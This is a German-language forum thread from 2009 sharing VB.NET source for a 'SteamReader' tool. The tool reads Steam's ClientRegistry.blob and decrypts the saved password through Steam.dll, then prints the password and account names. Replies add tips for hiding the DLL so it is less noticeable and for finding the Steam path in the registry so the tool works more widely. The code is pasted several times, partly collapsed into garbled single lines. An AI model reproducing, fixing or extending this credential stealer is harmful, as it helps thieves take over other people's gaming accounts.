PHP Forum - Coding Board
Juni 21, 2018, 11:36:59 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: {.Net} Steam Auslesen und Decrypten  (Gelesen 343 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
MewSiq
Newbie
*
Beiträge: 36


Profil anzeigen E-Mail
« am: März 22, 2009, 01:24:18 »

code]Edit: Ganz vergessen zu sagen, das einziegste was ihr noch machen müsst ist beim Start des
Programmes die Steam.dll in den Windows/system32/ Ordner zu packen, und beim Beenden zu löschen.[/code]Sollte man aber beheben können (ändern im Code ... )
Code:
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.IO

Module SteamDecrypt

    _
    Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
    End Function
    Sub Main(ByVal args() As String)
        On Error Resume Next
        Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"
        Dim decryptedDataSize As Integer = 0
        Dim pwd As New StringBuilder
        Dim F As Object
        Dim sInhalt As String
        Dim Phrase As Double
        Dim zwischen As Double = "0"
        Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")

        Console.Title = "SteamReader>>"
        F = FreeFile()
        FileOpen(F, Datei, OpenMode.Binary)
        sInhalt = InputString(F, LOF(F))
        Phrase = InStr(1, sInhalt, "Phrase")
        sInhalt = Mid(sInhalt, Phrase + 16)
        Dim PWnew As String = (Left(sInhalt, 92))
        Dim encpwd As String = (Left(sInhalt, 92))
        FileClose(F)
        pwd.Length = encpwd.Length / 2
        If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then

            Console.WriteLine(Constants.vbLf & " ############################################")
            Console.WriteLine(" ####### Website: www.vb-community.eu #######")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################## By Igoe #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
            Console.WriteLine(" ############################################")
            Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
            Console.Write(" Username: ")
            For Each drc As DirectoryInfo In di.GetDirectories()
                If drc.Name = "common" Then GoTo 1
                If drc.Name = "SourceMods" Then GoTo 1
                Console.Write(drc.Name & ", ")
1:
            Next
            Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)
            Console.ReadLine()
        Else
            Console.WriteLine(Constants.vbLf & " ############################################")
            Console.WriteLine(" ####### Website: www.vb-community.eu #######")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################## By Igoe #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
            Console.WriteLine(" ############################################")
            Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")
            For Each drc As DirectoryInfo In di.GetDirectories()
                If drc.Name = "common" Then GoTo 2
                If drc.Name = "SourceMods" Then GoTo 2
                Console.Write(drc.Name & ", ")
2:
            Next
            Console.ReadLine()
        End If


    End Sub
End Module
HAve Fun
Mfg MewSiq
PS: Credits geben für Igoe wenn ihr es nutzt Zwinkernd
Edit: Weiterführende Links/Source Linkz mögleicherweise Code:
Sollte man aber beheben können (ändern im Code ... )[code]Imports System.Runtime.InteropServicesImports System.TextImports System.IOModule SteamDecrypt     _    Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer    End Function    Sub Main(ByVal args() As String)        On Error Resume Next        Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"        Dim decryptedDataSize As Integer = 0        Dim pwd As New StringBuilder        Dim F As Object        Dim sInhalt As String        Dim Phrase As Double        Dim zwischen As Double = "0"        Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")        Console.Title = "SteamReader>>"        F = FreeFile()        FileOpen(F, Datei, OpenMode.Binary)        sInhalt = InputString(F, LOF(F))        Phrase = InStr(1, sInhalt, "Phrase")        sInhalt = Mid(sInhalt, Phrase + 16)        Dim PWnew As String = (Left(sInhalt, 92))        Dim encpwd As String = (Left(sInhalt, 92))        FileClose(F)        pwd.Length = encpwd.Length / 2        If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then            Console.WriteLine(Constants.vbLf & " ############################################")            Console.WriteLine(" ####### Website: www.vb-community.eu #######")            Console.WriteLine(" ############################################")            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")            Console.WriteLine(" ############################################")            Console.WriteLine(" ############################## By Igoe #####")            Console.WriteLine(" ############################################")            Console.WriteLine(" ############################################")            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")            Console.WriteLine(" ############################################")            Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())            Console.Write(" Username: ")            For Each drc As DirectoryInfo In di.GetDirectories()                If drc.Name = "common" Then GoTo 1                If drc.Name = "SourceMods" Then GoTo 1                Console.Write(drc.Name & ", ")1:            Next            Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)            Console.ReadLine()        Else            Console.WriteLine(Constants.vbLf & " ############################################")            Console.WriteLine(" ####### Website: www.vb-community.eu #######")            Console.WriteLine(" ############################################")            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")            Console.WriteLine(" ############################################")            Console.WriteLine(" ############################## By Igoe #####")            Console.WriteLine(" ############################################")            Console.WriteLine(" ############################################")            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")            Console.WriteLine(" ############################################")            Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")            For Each drc As DirectoryInfo In di.GetDirectories()                If drc.Name = "common" Then GoTo 2                If drc.Name = "SourceMods" Then GoTo 2                Console.Write(drc.Name & ", ")2:            Next            Console.ReadLine()        End If    End SubEnd Module[/code]HAve FunMfg MewSiqPS: Credits geben für Igoe wenn ihr es nutzt ;)Edit: Weiterführende Links/Source Linkz mögleicherweise [url]http://www.anonym.to/?http://209.85.129.132/search?q=cache:HDFUpxk6Gw8J:cs.rin.ru/forum/viewtopic.php%3Ff%3D20%26t%3D50765+steamdecryptdataforthismachine&cd=1&hl=de&ct=clnk&gl=de&client=firefox-a" target="_blank">http://www.anonym.to/?http://209.85.129.132/search?q=cache:HDFUpxk6Gw8J:cs.rin.ru/forum/viewtopic.php%3Ff%3D20%26t%3D50765+steamdecryptdataforthismachine&cd=1&hl=de&ct=clnk&gl=de&client=firefox-a[/url
Code:
Edit: Ganz vergessen zu sagen, das einziegste was ihr noch machen müsst ist beim Start des Programmes die Steam.dll in den Windows/system32/ Ordner zu packen, und beim Beenden zu löschen.
Sollte man aber beheben können (ändern im Code ... )[code]Imports System.Runtime.InteropServicesImports System.TextImports System.IOModule SteamDecrypt     _    Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer    End Function    Sub Main(ByVal args() As String)        On Error Resume Next        Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"        Dim decryptedDataSize As Integer = 0        Dim pwd As New StringBuilder        Dim F As Object        Dim sInhalt As String        Dim Phrase As Double        Dim zwischen As Double = "0"        Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")        Console.Title = "SteamReader>>"        F = FreeFile()        FileOpen(F, Datei, OpenMode.Binary)        sInhalt = InputString(F, LOF(F))        Phrase = InStr(1, sInhalt, "Phrase")        sInhalt = Mid(sInhalt, Phrase + 16)        Dim PWnew As String = (Left(sInhalt, 92))        Dim encpwd As String = (Left(sInhalt, 92))        FileClose(F)        pwd.Length = encpwd.Length / 2        If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then            Console.WriteLine(Constants.vbLf & " ############################################")            Console.WriteLine(" ####### Website: www.vb-community.eu #######")            Console.WriteLine(" ############################################")            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")            Console.WriteLine(" ############################################")            Console.WriteLine(" ############################## By Igoe #####")            Console.WriteLine(" ############################################")            Console.WriteLine(" ############################################")            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")            Console.WriteLine(" ############################################")            Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())            Console.Write(" Username: ")            For Each drc As DirectoryInfo In di.GetDirectories()                If drc.Name = "common" Then GoTo 1                If drc.Name = "SourceMods" Then GoTo 1                Console.Write(drc.Name & ", ")1:            Next            Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)            Console.ReadLine()        Else            Console.WriteLine(Constants.vbLf & " ############################################")            Console.WriteLine(" ####### Website: www.vb-community.eu #######")            Console.WriteLine(" ############################################")            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")            Console.WriteLine(" ############################################")            Console.WriteLine(" ############################## By Igoe #####")            Console.WriteLine(" ############################################")            Console.WriteLine(" ############################################")            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")            Console.WriteLine(" ############################################")            Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")            For Each drc As DirectoryInfo In di.GetDirectories()                If drc.Name = "common" Then GoTo 2                If drc.Name = "SourceMods" Then GoTo 2                Console.Write(drc.Name & ", ")2:            Next            Console.ReadLine()        End If    End SubEnd Module[/code]HAve FunMfg MewSiqPS: Credits geben für Igoe wenn ihr es nutzt ;)Edit: Weiterführende Links/Source Linkz mögleicherweise [url]http://www.anonym.to/?http://209.85.129.132/search?q=cache:HDFUpxk6Gw8J:cs.rin.ru/forum/viewtopic.php%3Ff%3D20%26t%3D50765+steamdecryptdataforthismachine&cd=1&hl=de&ct=clnk&gl=de&client=firefox-a
« Letzte Änderung: März 22, 2009, 02:52:54 von MewSiq » Gespeichert
alexj.
Full Member
***
Beiträge: 148


Profil anzeigen E-Mail
« Antworten #1 am: März 22, 2009, 02:11:00 »

« Letzte Änderung: März 22, 2009, 02:15:15 von alexj. » Gespeichert

Bog cuva srbe

CorVu5
Newbie
*
Beiträge: 32



Profil anzeigen E-Mail
« Antworten #2 am: März 22, 2009, 01:00:44 »

url]http://209.85.129.132/search?q=cache:HDFUpxk6Gw8J:cs.rin.ru/forum/viewtopic.php%3Ff%3D20%26t%3D50765+steamdecryptdataforthismachine&cd=1&hl=de&ct=clnk&gl=de&client=firefox-a[/url]
[U]DA[/U] haben die das alle her ;http://209.85.129.132/search?q=cache:HDFUpxk6Gw8J:cs.rin.ru/forum/viewtopic.php%3Ff%3D20%26t%3D50765+steamdecryptdataforthismachine&cd=1&hl=de&ct=clnk&gl=de&client=firefox-a
DA haben die das alle her Zwinkernd
Gespeichert
alexj.
Full Member
***
Beiträge: 148


Profil anzeigen E-Mail
« Antworten #3 am: März 22, 2009, 01:22:15 »

Zitat von: CorVu5;16242
http://209.85.129.132/search?q=cache:HDFUpxk6Gw8J:cs.rin.ru/forum/viewtopic.php%3Ff%3D20%26t%3D50765+steamdecryptdataforthismachine&cd=1&hl=de&ct=clnk&gl=de&client=firefox-a
DA haben die das alle her Zwinkernd

Aber dann noch die Hashes rausholen aus den Datein usw. Zwinkernd
Gespeichert

Bog cuva srbe

CorVu5
Newbie
*
Beiträge: 32



Profil anzeigen E-Mail
« Antworten #4 am: März 22, 2009, 01:57:13 »

Zitat
Gespeichert
alexj.
Full Member
***
Beiträge: 148


Profil anzeigen E-Mail
« Antworten #5 am: März 22, 2009, 02:03:34 »

Also wenn man die Funktion SteamDecryptDataForThisMachine von der Steam.dll benutzt kann man nicht die dll löschen sondern muss sie erst befreien mit FreeLibary(Win32API) dann kann man sie erst löschen.
Gespeichert

Bog cuva srbe

CorVu5
Newbie
*
Beiträge: 32



Profil anzeigen E-Mail
« Antworten #6 am: März 22, 2009, 02:47:52 »

Ok, aber WARUM sollte man die Dll löschen wollen?
Gespeichert
MewSiq
Newbie
*
Beiträge: 36


Profil anzeigen E-Mail
« Antworten #7 am: März 22, 2009, 02:52:13 »

Vlt. weil man um sie auslesen zu können, vorerst in den SystemOrdner kopieren muss ?
Wäre vlt zu auffällig sie dort zu lassen, finde ich aber unnötig.
Die Quellen sind mir nicht bekannt , füge sie mal hinzu Zwinkernd
Wie gesagt, habe es von Igoe.
Mfg MewSiq
Gespeichert
hackerking
Full Member
***
Beiträge: 102

388676671 hackerking92@hotmail.de
Profil anzeigen WWW E-Mail
« Antworten #8 am: März 28, 2009, 01:40:47 »

ähh frage:
bei mir gibt das teil kein pw zurück. nur das verschlüsselte...
Gespeichert


krusty
Newbie
*
Beiträge: 4


Profil anzeigen E-Mail
« Antworten #9 am: Juni 24, 2009, 08:33:56 »

bei mir funktionierts wunderbar, packt die steam.dll mal nicht in den system32 sondern ins selbe verzeichnis, wie das programm selbst.
Gespeichert

Console.WriteLine("I<3VB.net")
LeadOr
Newbie
*
Beiträge: 37



Profil anzeigen E-Mail
« Antworten #10 am: Juli 17, 2009, 05:25:49 »

schlauer wäre es wenn der pfad zu steam aus der registry ausgelesen werde würde;)

so ist es relativ sinnlos ich z.b installier steam garnicht und somit liegts auch nich in meinem programme ordner Smiley

der pfad in der registry ist immer darauf eignestellt wo steam sich startet:

Code:
   Dim regp As String = Microsoft.Win32.Registry.GetValue(&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam&quot;, &quot;InstallPath&quot;, &quot;&quot;)
        If regp  = &quot;&quot; Then
            'hier kann man ja noch paar ordner durchgehen ;) vlt findet man den ordner ja durch glück.
        End If
« Letzte Änderung: Juli 17, 2009, 05:27:59 von LeadOr » Gespeichert


Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS